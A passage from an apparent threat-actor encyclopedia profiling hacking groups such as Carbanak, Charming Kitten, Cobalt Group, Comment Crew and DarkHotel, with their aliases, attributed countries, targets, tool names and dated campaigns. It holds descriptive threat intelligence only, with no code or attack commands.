+(Kaspersky) From late 2013 onwards, several banks and financial institutions have +been attacked by an unknown group of cybercriminals. In all these attacks, a similar +modus operandi was used. According to victims and the law enforcement agencies +(LEAs) involved in the investigation, this could result in cumulative losses of up to 1 +billion USD. The attacks are still active. This report provides a technical analysis of +these attacks. The motivation for the attackers, who are making use of techniques +commonly seen in Advanced Persistent Threats (APTs), appears to be financial +gain as opposed to espionage. An analysis of the campaign has revealed that the +initial infections were achieved using spear phishing emails that appeared to be +legitimate banking communications, with Microsoft Word 97 + 2003 (.doc) and +Control Panel Applet (.CPL) files attached. We believe that the attackers also +redirected to exploit kits website traffic that related to financial activity. +Observed +Sectors: Financial. +Countries: Australia, Austria, Brazil, Bulgaria, Canada, China, Czech, France, +Germany, Hong Kong, Iceland, India, Luxemburg, Morocco, Nepal, Norway, +Pakistan, Poland, Russia, Spain, Sweden, Switzerland, Taiwan, UK, Ukraine, USA +and Uzbekistan. +Tools used +Agent ORM, AmmyyRAT, ANTAK, Ave Maria, BABYMETAL, Backdoor Batel, +Bateleur, BELLHOP, MBR Eraser, Cain & Abel, Carbanak, Cobalt Strike, +DNSMessenger, DNSRat, DRIFTPIN, Griffon, HALFBAKED, JS Flash, KLRD, +Mimikatz, MBR Eraser, Netscan, Odinaff, POWERPIPE, POWERSOURCE, +PSExec, Sekur, SocksBot, SoftPerfect Network Scanner, SQLRat, Team Viewer, +TinyMet and VB Flash. +Counter +operations +Mastermind behind EUR 1 billion cyber bank robbery arrested in Spain (2018) + +Three Carbanak cyber heist gang members arrested (2018) + +Information + + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Careto, The Mask +Names +Careto (Kaspersky) +The Mask (Kaspersky) +Mask (Kaspersky) +Ugly Face (Kaspersky) +Country +Spain +Motivation +Information theft and espionage +Description +(Kaspersky) The Mask is an advanced threat actor that has been involved in cyberespionage operations since at least 2007. The name "Mask" comes from the +Spanish slang word "Careto" ("Ugly Face" or +Mask +) which the authors included in +some of the malware modules. +More than 380 unique victims in 31 countries have been observed to date. What +makes +The Mask + special is the complexity of the toolset used by the attackers. +This includes an extremely sophisticated malware, a rootkit, a bootkit, 32-and 64-bit +Windows versions, Mac OS X and Linux versions and possibly versions for Android +and iPad/iPhone (Apple iOS). +Observed +Sectors: Diplomatic missions, Education, Energy and Government. +Countries: Brazil, France, Germany, Iran, Libya, Morocco, Poland, South Africa, +Spain, Switzerland, Tunisia, UK, USA and Venezuela. +Tools used +Careto. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Chafer, APT 39 +Names +Chafer (Symantec) +APT 39 (Mandiant) +Country +Iran +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(FireEye) APT39 was created to bring together previous activities and methods +used by this actor, and its activities largely align with a group publicly referred to as +"Chafer." However, there are differences in what has been publicly reported due to +the variances in how organizations track activity. APT39 primarily leverages the +SEAWEED and CACHEMONEY backdoors along with a specific variant of the +POWBAT backdoor. While APT39's targeting scope is global, its activities are +concentrated in the Middle East. APT39 has prioritized the telecommunications +sector, with additional targeting of the travel industry and IT firms that support it and +the high-tech industry. +APT39's focus on the telecommunications and travel industries suggests intent to +perform monitoring, tracking, or surveillance operations against specific individuals, +collect proprietary or customer data for commercial or operational purposes that +serve strategic requirements related to national priorities, or create additional +accesses and vectors to facilitate future campaigns. Government entities targeting +suggests a potential secondary intent to collect geopolitical data that may benefit +nation-state decision making. Targeting data supports the belief that APT39's key +mission is to track or monitor targets of interest, collect personal information, +including travel itineraries, and gather customer data from telecommunications +firms. +Observed +Sectors: Airlines, Airports, Engineering, Government, High-Tech, IT, Shipping and +Logistics, Telecommunications and Transportation. +Countries: Israel, Jordan, Middle East, Saudi Arabia, Spain, Turkey, UAE and USA. +Tools used +ASPXSpy, CACHEMONEY, EternalBlue, HTTPTunnel, MechaFlounder Mimikatz, +NBTScan, Non-sucking Service Manager (NSSM), Plink, POWBAT, Pwdump, +Remcom, Remexi, SEAWEED, SMB hacking tools, UltraVNC and Windows +Credential Editor. +Operations +performed +2017 +Chafer appears to have been undeterred by its exposure in 2015 and +continued to be very active during 2017, using seven new tools, rolling +out new infrastructure, and attacking nine new target organizations in +the region. The group hit organizations in Israel, Jordan, the United +Arab Emirates, Saudi Arabia, and Turkey. +Sectors targeted included airlines; aircraft services; software and IT +services companies serving the air and sea transport sectors; +telecoms services; payroll services; engineering consultancies; and +document management software. +Outside of the Middle East, Symantec has also found evidence of +attacks against one African airline and attempts to compromise an +international travel reservations firm. + +Threat Group Cards: A Threat Actor Encyclopedia +Feb 2018 +Turkish Government Targeting +This new secondary payload is Python-based and compiled into +executable form using the PyInstaller utility. This is the first instance +where Unit 42 has identified a Python-based payload used by these +operators. We +ve also identified code overlap with OilRig +s Clayside +VBScript but at this time track Chafer and OilRig as separate threat +groups. We have named this payload MechaFlounder for tracking +purposes. + +Autumn +2018 +Spying on Iran-based foreign diplomatic entities +Throughout the autumn of 2018 we analyzed a long-standing (and still +active at that time) cyberespionage campaign that was primarily +targeting foreign diplomatic entities based in Iran. The attackers were +using an improved version of Remexi in what the victimology suggests +might be a domestic cyberespionage operation. + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Charming Kitten, Newscaster, NewsBeef +Names +Charming Kitten (CrowdStrike) +Newscaster (Symantec) +NewsBeef (Kaspersky) +Group 83 (Talos) +Parastoo (Flashpoint) +Country +Iran +Motivation +Information theft and espionage +Description +Charming Kitten is an Iranian cyberespionage group that has been active since +approximately 2014. They appear to focus on targeting individuals of interest to Iran +who work in academic research, human rights, and media, with most victims having +been located in Iran, the US, Israel, and the UK. Charming Kitten usually tries to +access private email and Facebook accounts, and sometimes establishes a +foothold on victim computers as a secondary objective. The group's TTPs overlap +extensively with another group, Magic Hound, APT 35, Cobalt Gypsy, Rocket +Kitten, resulting in reporting that may not distinguish between the two groups' +activities. +Observed +Sectors: Defense and Government. +Countries: Afghanistan, Algeria, Brazil, China, Denmark, France, Germany, India, +Iran, Iraq, Israel, Japan, Romania, Russia, Switzerland, Syria, Turkey, UAE, UK, +Ukraine and USA. +Tools used +DownPaper, FireMalv, MacDownloader and Stealer Builder. +Operations +performed +2011 +Operation +Newscaster +The research firm iSight dubbed the operation Newscaster and said +hackers used social-media sites like Twitter, Facebook and LinkedIn +to draw their targets and then lure them to check out a bogus news +site, NewsOnAir.org, filled with foreign policy and defense articles, +The Post reported. +The overall aim is that the social-media platform would give the +hackers connections with those at the top of public policy + and +position them to tap into that information network. + +Feb 2016 +In late February 2016, a University website in Iran stood out for +thoroughly vetting its current and potential students and staff. The +University +s web site served repackaged content from the Browser +Exploitation Framework (BeEF) with embedded JavaScript content. + +Aug 2017 +Breach of HBO +On August 7 a small treasure trove of HBO content was posted +publicly to the web by a hacker who is now demanding a $6 million +payment to stop any further release of data. The hacker who goes by +Mr. Smith posted five scripts for Game of Thrones and a month +worth of email from HBO Vice President for Film Programming Leslie +Cohen along with some other corporate information, according to the +Associated Press. + +Threat Group Cards: A Threat Actor Encyclopedia +Counter +operation +2017 +Fake news website BritishNews to infect visitors +On the same note, we identified a fake-news agency "established" by +the attackers, called +The British news agency + or +Britishnews +(inspired by BBC). Its website domain is britishnews.com[.]co and two +other domains, broadcastbritishnews[.]comand britishnews[.]org +redirected to it. +2017 +Blackmailing BBC reporter with +naked photo + threats +Iranian agents blackmailed a BBC Persian journalist by threatening to +publish revealing photos of her as part of a wider campaign against +the British media outlet, staff at the broadcaster told Arab News. +New details emerged on Saturday about alleged harassment of BBC +Persian reporters + family members and loved ones at the hands of the +Iranian security services. + +Jun 2018 +Impersonating ClearSky, the security firm that uncovered its +campaigns +Iranian cyberespionage group Charming Kitten, which has been +operating since 2014, has impersonated the cybersecurity firm that +exposed its operations and campaigns. Israeli firm ClearSky Security +said the group managed to copy its official website hosted on a +similar-looking domain - clearskysecurity[.]net. +ClearSky's actual website is Clearskysec.com. + +Oct 2018 +The Return of The Charming Kitten +In this campaign, hackers have targeted individuals who are involved +in economic and military sanctions against the Islamic Republic of Iran +as well as politicians, civil and human rights activists and journalists +around the world. +Our review in Certfa demonstrates that the hackers - knowing that +their victims use two-step verification - target verification codes and +also their email accounts such as Yahoo! and Gmail. + +Former U.S. Counterintelligence Agent Charged With Espionage on Behalf of +Iran; Four Iranians Charged With a Cyber Campaign Targeting Her Former +Colleagues (2019) + +Microsoft slaps down 99 APT35/Charming Kitten domains (2019) + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Clever Kitten +Names +Clever Kitten (CrowdStrike) +Group 41 (Talos) +Country +Iran +Motivation +Information theft and espionage +Description +(CrowdStrike) Clever Kitten primarily targets global companies with strategic +importance to countries that are contrary to Iranian interests. +Clever Kitten actors have a strong affinity for PHP server-side attacks to make +access; this is relatively unique amongst targeted attackers who often favor +targeting a specific individual at a specific organization using social engineering. +Some attackers have moved to leveraging strategic web compromises. The reason +for this is likely the availability of exploits against web browsers, which for a variety +of reasons allows an attacker to bypass security features such as Data Execution +Prevention (DEP) or Address Space Layout Randomization (ASLR). +Observed +Global companies with strategic importance to countries that are contrary to Iranian +interests. +Tools used +Acunetix Web Vulnerability Scanner, PHP Webshell RC SHELL +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Cobalt Group +Names +Cobalt Group (Group-IB) +Cobalt Gang (Palo Alto) +Cobalt Spider (CrowdStrike) +Gold Kingswood (SecureWorks) +Country +Russia +Motivation +Financial gain +Description +Cobalt Group is a financially motivated threat group that has primarily targeted +financial institutions. The group has conducted intrusions to steal money via +targeting ATM systems, card processing, payment systems and SWIFT systems. +Cobalt Group has mainly targeted banks in Eastern Europe, Central Asia, and +Southeast Asia. The group has been known to target organizations in order to use +their access to then compromise additional victims. Reporting indicates there may +be links between Cobalt Group and both the malware Carbanak and the group +Carbanak, Anunak. +Observed +Sectors: Financial. +Countries: Argentina, Armenia, Austria, Azerbaijan, Belarus, Bulgaria, Canada, +China, Czech, Estonia, Georgia, Italy, Jordan, Kazakhstan, Kuwait, Kyrgyzstan, +Malaysia, Moldova, Netherlands, Poland, Romania, Russia, Spain, Taiwan, +Tajikistan, Thailand, Turkey, UK, Ukraine, USA and Vietnam. +Tools used +AmmyyRAT, ATMSpitter, ATMRipper Cobalt Strike, CobInt, Cyst Downloader, +Mimikatz, Metasploit Stager, More_eggs, SDelete, SoftPerfect Network Scanner +and SpicyOmelette. +Operations +performed +Jun 2016 +In June 2016, the first attack conducted by the Cobalt group was +tracked at a large Russian bank, where hackers attempted to steal +money from ATMs. The attackers infiltrated the bank's network, +gained control over it, compromised the domain administrator's +account, and reached the ATM control server. + +Jul 2016 +ATM heist at the First Commercial Bank in Taiwan + +Aug 2016 +ATM heist at the Government Saving Bank in Thailand2 +May 2017 +In May, Proofpoint observed multiple campaigns using a new version +of Microsoft Word Intruder (MWI). MWI is a tool sold on underground +markets for creating exploit-laden documents, generally used in +targeted attacks. We previously reported about MWI when it added +support for CVE-2016-4117. After the latest update, MWI is now using +CVE-2017-0199 to launch an HTML Application (HTA) used for both +information collection and payload execution. +This activity targets organizations in the financial vertical including +banks, banking software vendors, and ATM software and hardware +vendors. The emails are sent to technology and security personnel +working in departments including Fraud and Information Security. +2 See ThaiCERT Whitepaper +ATM Heist GSB August 2016 +Threat Group Cards: A Threat Actor Encyclopedia + +Aug 2017 +The first spam run on August 31 used a Rich Text Format (RTF) +document laden with malicious macros. The second, which ran from +September 20 to 21, used an exploit for CVE-2017-8759 (patched last +September), a code injection/remote code execution vulnerability in +Microsoft +s .NET Framework. The vulnerability was used to retrieve +and execute Cobalt Strike from a remote server they controlled. + +Nov 2017 +On Tuesday, November 21, a massive spear-phishing campaign +began targeting individual employees at various financial institutions, +mostly in Russia and Turkey. Purporting to provide info on changes to +SWIFT + terms, the email contained a single attachment with no text in +the body. It was an attempt by the Cobalt Group to gain a foothold in +the networks of the targeted individuals + organizations + +Jan 2018 +Spear-phishing attacks to Russian banks +The emails were sent in the name of a large European bank in an +attempt to social engineer the receiver into trusting the email. The +emails were quite plain with only a single question in the body and an +attachment with the name once.rtf. In other cases, we saw a file with +the name +.rtf attached to an email that was also written in +Russian. + +May 2018 +On May 23, 1:21 p.m (Moscow time) Group-IB tracked a new largescale Cobalt cyberattack on the leading banks of Russia and the CIS. +It was like a challenge: phishing emails were sent acting as a major +anti-virus vendor. Bank employees received a "complaint", in English, +that their computers allegedly violated legislation. + +Sep 2018 +In 2018, CTU researchers observed several GOLD KINGSWOOD +campaigns involving SpicyOmelette, a tool used by the group during +initial exploitation of an organization. This sophisticated JavaScript +remote access tool is generally delivered via phishing, and it uses +multiple defense evasion techniques to hinder prevention and +detection activities. + +Oct 2018 +One of the latest examples related to the campaign under analysis +was used in attacks just a few days ago. It shows the simplicity of the +attack delivery employed by this group. +The attack reinforces the fact that email is still one of the primary +attack vectors we continuously observe. This attack begins by +targeting employees at several banking entities across the globe using +an email with subject +Confirmations on October 16, 2018 + +Threat Group Cards: A Threat Actor Encyclopedia +Counter +operations +Mastermind behind EUR 1 billion cyber bank robbery arrested in Spain (2018) + +Three Carbanak cyber heist gang members arrested (2018) + +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Cold River +Names +Cold River (Lastline) +Nahr el bared (original place) +Nahr Elbard (transliteration) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Lastline) While reviewing some network anomalies, we recently uncovered Cold +River, a sophisticated threat actor making malicious use of DNS tunneling for +command and control activities. We have been able to decode the raw traffic in +command and control, find sophisticated lure documents used in the campaign, +connect other previously unknown samples, and associate a number of legitimate +organizations whose infrastructure is referenced and used in the campaign. +The campaign targets Middle Eastern organizations largely from the Lebanon and +United Arab Emirates, though, Indian and Canadian companies with interests in +those Middle Eastern countries are also targeted. There are new TTPs used in this +attack + for example Agent_Drable is leveraging the Django python framework for +command and control infrastructure, the technical details of which are outlined later +in the blog. +Observed +Countries: Canada, India and Middle East (mostly Lebanon and UAE). +Tools used +Agent_Drable. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Comment Crew, APT 1 +Names +Comment Crew (Symantec) +Comment Panda (CrowdStrike) +TG-8223 (SecureWorks) +APT 1 (Mandiant) +BrownFox (Symantec) +Group 3 (Talos) +Byzantine Hades (US State Department) +Byzantine Candor (US State Department) +Shanghai Group (SecureWorks) +GIF89a (Kaspersky) +Country +China +Sponsor +State-sponsored, 2nd Bureau of the People +s Liberation Army (PLA) General Staff +Department +s (GSD) 3rd Department, commonly known by its Military Unit Cover +Designator (MUCD) as Unit 61398. +Motivation +Information theft and espionage +Description +Also known as APT1, Comment Crew is an advanced persistent threat (APT) +group with links to the Chinese military. The threat actors, which were active from +roughly 2006 to 2010, managed to strike over 140 US companies in the quest for +sensitive corporate and intellectual property data. +The group earned their name through their use of HTML comments to hide +communication to the command-and-control servers. The usual attack vector was +via spear-phishing campaigns utilizing emails which contained documents with +names tailored for the potential victims, such as +ArmyPlansConferenceOnNewGCVSolicitation.pdf, + or +Chinese Oil Executive +Learning From Experience.doc. +Observed +Sectors: Aerospace, Chemical, Construction, Education, Energy, Engineering, +Entertainment, Financial, Food and Agriculture, Government, Healthcare, HighTech, IT, Manufacturing, Media, Mining, Navigation, Non-profit organizations, +Research, Satellites, Telecommunications, Transportation and lawyers. +Countries: Belgium, Canada, France, India, Israel, Japan, Luxembourg, Norway, +Singapore, South Africa, Switzerland, Taiwan, UAE, UK and USA. +Tools used +Auriga, bangat, BISCUIT, Bouncer, Cachedump, CALENDAR, Combos, +CookieBag, Dairy, GetMail, GLOOXMAIL, Goggles, gsecdump, Hacksfase, +Helauto, Kurton, Lslsass, ManItsMe, MAPIget, Mimikatz, MiniASP, NewsReels, +Pass-The-Hash Toolkit, Poison Ivy, pwdump, SeaSalt, ShadyRAT, StarsyPound, +Sword, TabMsgSQL, Tarsip, Tasklist, WebC2-AdSpace, WebC2-Ausov, WebC2Bolid, WebC2-Cson, WebC2-DIV, WebC2-GreenCat, WebC2-Head, WebC2-Kt3, +WebC2-Qbp, WebC2-Rave, WebC2-Table, WebC2-UGX and WebC2-Yahoo. +Operations +performed +2006-2010 +Operation +Seasalt +Target: 140 US companies in the quest for sensitive corporate and +intellectual property data. +Method: Spear-phishing with malicious documents. +2011-2012 +Hackers Plundered Israeli Defense Firms that Built +Iron Dome +Missile Defense System + +Threat Group Cards: A Threat Actor Encyclopedia +Feb 2014 +Operation +Siesta +FireEye recently looked deeper into the activity discussed in +TrendMicro +s blog and dubbed the +Siesta + campaign. The tools, +modus operandi, and infrastructure used in the campaign present +two possibilities: either the Chinese cyberespionage unit APT 1 is +perpetrating this activity, or another group is using the same +tactics and tools as the legacy APT 1. + + +May 2018 +Operation +Oceansalt +Target: Oceansalt appears to have been part of an operation +targeting South Korea, United States, and Canada in a wellfocused attack. A variation of this malware has been distributed +from two compromised sites in South Korea. +Method: Oceansalt appears to be the first stage of an advanced +persistent threat. The malware can send system data to a control +server and execute commands on infected machines, but we do +not yet know its ultimate purpose. +Note: It is possible that this operation was not performed by the +actual Comment Crew group (as they are supposedly in jail). + + +Counter +operations +Information + +MITRE ATT&CK + +5 in China Army Face U.S. Charges of Cyberattacks (2014) + +Threat Group Cards: A Threat Actor Encyclopedia +Confucius +Names +Confucius (Palo Alto) +Country +[South Asia] +Motivation +Information theft and espionage +Description +(Trend Micro) Confucius + campaigns were reportedly active as early as 2013, +abusing Yahoo! And Quora forums as part of their command-and-control (C&C) +communications. We stumbled upon Confucius, likely from South Asia, while +delving into Patchwork +s cyberespionage operations. +Confucius + operations include deploying bespoke backdoors and stealing files from +their victim +s systems with tailored file stealers. The stolen files are then exfiltrated +by abusing a cloud service provider. Some of these file stealers specifically target +files from USB devices, probably to overcome air-gapped environments. +This group seems to be associated with Patchwork, Dropping Elephant. +Observed +Countries: Most of the South and Southeast Asian countries (including Mongolia), +most of the Middle Eastern countries, with a focus on Pakistan, most of the African +countries, Trinidad, Tobago and Ukraine. +Tools used +ApacheStealer, ByeBye Shell, Confucius, MY24, sctrls, remote-access-c3 and +sip_telephone, swissknife2 and Sneepy. +Operations +performed +Oct 2017 +In recent weeks, Unit 42 has discovered three documents crafted to +exploit the InPage program. InPage is a word processor program that +supports languages such as Urdu, Persian, Pashto, and Arabic. The +three InPage exploit files are linked through their use of very similar +shellcode, which suggests that either the same actor is behind these +attacks, or the attackers have access to a shared builder. + +End 2017 +Probing Confucius + infrastructure, we came across websites offering +Windows and Android chat applications, most likely iterations of its +predecessor, Simple Chat Point: Secret Chat Point, and Tweety Chat. +We are admittedly uncertain of the extent + and success + of their +use, but it +s one of the ingredients of the group +s operations. + +May 2018 +During their previous campaign, we found Confucius using fake +romance websites to entice victims into installing malicious Android +applications. This time, the threat actor seems to have a new modus +operandi, setting up two new websites and new payloads with which +to compromise its targets. + +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +CopyKittens, Slayer Kitten +Names +CopyKittens (Trend Micro) +Slayer Kitten (CrowdStrike) +Country +Iran +Motivation +Information theft and espionage +Description +CopyKittens is an Iranian cyberespionage group that has been operating since at +least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the +U.S., Jordan, and Germany. The group is responsible for the campaign known as +Operation Wilted Tulip. +Observed +Sectors: Defense, Education, Government, IT and Media. +Countries: Germany, Israel, Jordan, Saudi Arabia, Turkey and USA. +Tools used +Cobalt Strike, Empire, Matryoshka, TDTESS, Vminst and ZPP. +Operations +performed +2013 +Operation +Wilted Tulip +In this report, Trend Micro and ClearSky expose a vast espionage +apparatus spanning the entire time the group has been active. It +includes recent incidents as well as older ones that have not been +publicly reported; new malware; exploitation, delivery and command +and control infrastructure; and the group's modus operandi. We +dubbed this activity Operation Wilted Tulip + +2015 +CopyKittens has conducted at least three waves of cyber-attacks in +the past year. In each of the attacks the infection method was almost +identical and included an extraordinary number of stages used to +avoid detection. As with other common threat actors, the group relies +on social engineering methods to deceive its targets prior to infection. + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Corkow, Metel +Names +Corkow (Group-IB) +Metel (Kaspersky) +Country +Russia +Motivation +Financial gain +Description +(Group-IB) In February 2015 the first major successful attack on a Russian trading +system took place, when hackers gained unsanctioned access to trading system +terminals using a Trojan resulting in trades of more than $400million. +The criminals made purchases and sales of US dollars in the Dollar/Ruble +exchange program on behalf of a bank using malware. The attack itself lasted only +14 minutes, however, it managed to cause a high volatility in the exchange rate of +between 55/62 (Buy/Sell) rubles per 1 dollar instead of the 60-62 stable range. +To conduct the attack criminals used the Corkow malware, also known as Metel, +containing specific modules designed to conduct thefts from trading systems, such +as QUIK operated by ARQA Technologies and TRANSAQ from ZAO +Screen +market systems +. Corkow provided remote access to the ITS-Broker system +terminal by +Platforma soft + Ltd., which enabled the fraud to be committed. +In August 2015 a new incident related to the Corkow (Metel) Trojan was detected. +An attack on a bank card systems, which included about 250 banks which used the +bank card system to service cash withdrawals from Visa and MasterCard cards +under a special tariff. This attack resulted in the hundreds of millions of rubles being +stolen via ATMs of the systems members. +Observed +Sectors: Financial. +Countries: Argentina, Austria, Belarus, Brazil, Croatia, Cyprus, Denmark, Estonia, +France, Germany, Italy, Kazakhstan, Latvia, Mexico, Peru, Poland, Singapore, +Spain, Switzerland, Russia, Thailand, Turkey, UK, Ukraine and USA. +Tools used +Corkow, Metel. +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Covellite +Names +Covellite (Dragos) +Country +North Korea +Motivation +Information theft and espionage +Description +(Dragos) Covellite compromises networks associated with civilian electric energy +worldwide and gathers intelligence on intellectual property and internal industrial +operations. Covellite lacks an industrial control system (ICS) specific capability at +this time. +Covellite operates globally with targets primarily in Europe, East Asia, and North +America. US targets emerged in September 2017 with a small, targeted phishing +campaign directed at select U.S. electric companies. The phishing emails contained +a malicious Microsoft Word document and infected computers with malware. +The malicious emails discovered in the fall masqueraded as resumes or invitations. +They delivered a remote access tool (RAT) payload which was used to conduct +reconnaissance and enable persistent, covert access to victims + machines. +Covellite +s infrastructure and malware are similar to the hacking organization known +as Lazarus Group, Hidden Cobra, Labyrinth Chollima by Novetta and Hidden Cobra +by the U.S. Department of Homeland Security. +Lazarus Group is responsible for attacks ranging from the 2014 attack on Sony +Pictures to a number of Bitcoin heists in 2017. Technical analysis of Covellite +malware indicates an evolution from known Lazarus toolkits. However, aside from +technical overlap, it is not known how the capabilities and operations between +Covellite and Lazarus are related. +Covellite remains active but appears to have abandoned North American targets, +with indications of activity in Europe and East Asia. Given the group +s specific +interest in infrastructure operations, rapidly improving capabilities, and history of +aggressive targeting, Dragos considers this group a primary threat to the ICS +industry. +Observed +Sectors: Energy. +Countries: East Asia, Europe and USA. +Tools used +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Cutting Kitten, TG-2889 +Names +Cutting Kitten (CrowdStrike) +TG-2889 (SecureWorks) +Country +Iran +Sponsor +State-sponsored, security company ITSecTeam +Motivation +Information theft and espionage +Description +Cleaver is a threat group that has been attributed to Iranian actors and is +responsible for activity tracked as Operation Cleaver. Strong circumstantial +evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). +This group evolved into Magic Hound, APT 35, Cobalt Gypsy, Rocket Kitten. +Observed +Sectors: Aerospace, Airlines, Airports, Chemical, Defense, Education, Energy, +Financial (banks: Bank of America, US Bancorp, Fifth Third Bank, Citigroup, PNC, +BB&T, Wells Fargo, Capital One and HSBC), Government, Healthcare, Oil and gas, +Technology, Telecommunications, Transportation and Utilities. +Countries: Canada, China, France, Germany, India, Israel, Kuwait, Mexico, +Netherlands, Pakistan, Qatar, Saudi Arabia, South Korea, Turkey, UAE, UK and +USA. +Tools used +CsExt, Jasus, KAgent, Net Crawler, PvcOut, SynFlooder, TinyZBot, WndTest and +ZhMimikatz. +Operations +performed +2012 +Operation +Cleaver +Operation Cleaver has, over the past several years, conducted a +significant global surveillance and infiltration campaign. To date it has +successfully evaded detection by existing security technologies. The +group is believed to work from Tehran, Iran, although auxiliary team +members were identified in other locations including the Netherlands, +Canada, and the UK. The group successfully leveraged both publicly +available, and customized tools to attack and compromise targets +around the globe. The targets include military, oil and gas, energy and +utilities, transportation, airlines, airports, hospitals, +telecommunications, technology, education, aerospace, Defense +Industrial Base (DIB), chemical companies, and governments. + +2013 +Attack on the Bowman Avenue Dam +Iranian hackers infiltrated the control system of a small dam less than +20 miles from New York City two years ago, sparking concerns that +reached to the White House, according to former and current U.S. +officials and experts familiar with the previously undisclosed incident. + +2015 +Network of Fake LinkedIn Profiles +While tracking a suspected Iran-based threat group known as Threat +Group-2889 (TG-2889), Dell SecureWorks Counter Threat Unit (CTU) +researchers uncovered a network of fake LinkedIn profiles. These +convincing profiles form a self-referenced network of seemingly +established LinkedIn users. CTU researchers assess with high +Threat Group Cards: A Threat Actor Encyclopedia +confidence the purpose of this network is to target potential victims +through social engineering. + +Counter +operations +MITRE ATT&CK + +U.S. indicts Iranians for hacking dozens of banks, New York dam (2016) + +Threat Group Cards: A Threat Actor Encyclopedia +Dark Caracal +Names +Dark Caracal (Lookout) +Country +Lebanon +Sponsor +State-sponsored, General Directorate of General Security (GDGS) +Motivation +Information theft and espionage +Description +(Lookout) Lookout and Electronic Frontier Foundation (EFF) have discovered Dark +Caracal3, a persistent and prolific actor, who at the time of writing is believed to be +administered out of a building belonging to the Lebanese General Security +Directorate in Beirut. At present, we have knowledge of hundreds of gigabytes of +exfiltrated data, in 21+ countries, across thousands of victims. Stolen data includes +enterprise intellectual property and personally identifiable information. We are +releasing more than 90 indicators of compromise (IOC) associated with Dark +Caracal including 11 different Android malware IOCs; 26 desktop malware IOCs +across Windows, Mac, and Linux; and 60 domain/IP based IOCs. +Dark Caracal targets include individuals and entities that a nation state might +typically attack, including governments, military targets, utilities, financial +institutions, manufacturing companies, and defense contractors. We specifically +uncovered data associated with military personnel, enterprises, medical +professionals, activists, journalists, lawyers, and educational institutions during this +investigation. Types of data include documents, call records, audio recordings, +secure messaging client content, contact information, text messages, photos, and +account data. +Observed +Sectors: Defense, Education, Financial, Government, Healthcare, Manufacturing, +Utilities, activists, lawyers and journalists. +Countries: China, France, Germany, India, Italy, Jordan, Lebanon, Nepal, +Netherlands, Pakistan, Philippines, Qatar, Russia, Saudi Arabia, South Korea, +Switzerland, Syria, Thailand, USA, Venezuela and Vietnam. +Tools used +Bandook, CrossRAT, FinFisher and Pallas. +Information + +MITRE ATT&CK + +3 See ThaiCERT Whitepaper +Dark Caracal Campaign +Threat Group Cards: A Threat Actor Encyclopedia +DarkHotel +Names +DarkHotel (Kaspersky) +APT-C-06 (360) +SIG25 (NSA) +Dubnium (Microsoft) +Fallout Team (FireEye) +Shadow Crane (CrowdStrike) +Country +South Korea +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(SecurityWeek) The activities of the DarkHotel advanced persistent threat (APT) +actor came to light in November 2014, when Kaspersky published a report +detailing a sophisticated cyberespionage campaign targeting business travelers +in the Asia-Pacific region. The group has been around for nearly a decade and +some researchers believe its members are Korean speakers. +The attackers targeted their victims using several methods, including through +their hotel +s Wi-Fi, zero-day exploits and peer-to-peer (P2P) file sharing websites. +Nearly one year later, the threat group was observed using new attack +techniques and an exploit leaked from Italian spyware maker Hacking Team. +DarkHotel victims have been spotted in several countries, including North Korea, +Russia, South Korea, Japan, Bangladesh, Thailand, Taiwan, China, the United +States, India, Mozambique, Indonesia and Germany. Up until recently, the +attacks appeared to focus on company executives, researchers and development +personnel from sectors such as defense industrial base, military, energy, +government, NGOs, electronics manufacturing, pharmaceutical, and medical. +In more recent DarkHotel attacks it has dubbed +Inexsmar, + security firm +Bitdefender said the hackers targeted political figures, and they appeared to be +using some new methods. +Observed +Sectors: Defense, Energy, Government, Healthcare, NGOs, Pharmaceutical, +Research and Technology. +Countries: Bangladesh, Belgium, China, Germany, Greece, Hong Kong, India, +Indonesia, Ireland, Italy, Japan, Kazakhstan, Lebanon, North Korea, Mexico, +Mozambique, Pakistan, Philippines, Russia, Serbia, Singapore, South Korea, +Taiwan, Thailand, UAE, USA and others. +Tools used +DarkHotel, GreezeBackdoor, Luder, Nemim, Pioneer and Tapaoux. +Operations +performed +2010 +Operation +DarkHotel +Target: The travelers are often top executives from a variety of +industries doing business and outsourcing in the APAC region. +Targets have included CEOs, senior vice presidents, sales and +marketing directors and top R&D staff. +Method: spear-phishing targets with highly advanced Flash zeroday exploits that effectively evade the latest Windows and Adobe +defenses, and yet they also imprecisely spread among large +numbers of vague targets with peer-to-peer spreading tactics. +Moreover, this crew +s most unusual characteristic is that for +several years the Darkhotel APT has maintained a capability to +Threat Group Cards: A Threat Actor Encyclopedia +use hotel networks to follow and hit selected targets as they travel +around the world. + +MITRE ATT&CK +2015 +Darkhotel +s attacks in 2015 + +Dec 2015 +Operation +Daybreak +Method: Uses Flash zero-day exploit for CVE-2015-8651. +Note: not the same operation as ScarCruft +s Operation +Daybreak +Sep 2016 +Operation +Inexsmar +Target: seems to be used in a campaign that targets political +figures rather than the usual corporate research and development +personnel, CEOs and other senior corporate officials. +Method: This attack uses a new payload delivery mechanism +rather than the consecrated zero-day exploitation techniques, +blending social engineering with a relatively complex Trojan to +infect its selected pool of victims. + + +Threat Group Cards: A Threat Actor Encyclopedia +DarkHydrus, LazyMeerkat +Names +DarkHydrus (Palo Alto) +LazyMeerkat (Kaspersky) +Country +Iran +Motivation +Information theft and espionage +Description +DarkHydrus is a threat group that has targeted government agencies and +educational institutions in the Middle East since at least 2016. The group heavily +leverages open-source tools and custom payloads for carrying out attacks. +Observed +Sectors: Education and Government. +Countries: Middle East. +Tools used +Cobalt Strike, Mimikatz, Phishery and RogueRobin. +Operations +performed +Jun 2018 +On June 24, 2018, Unit 42 observed DarkHydrus carrying out a +credential harvesting attack on an educational 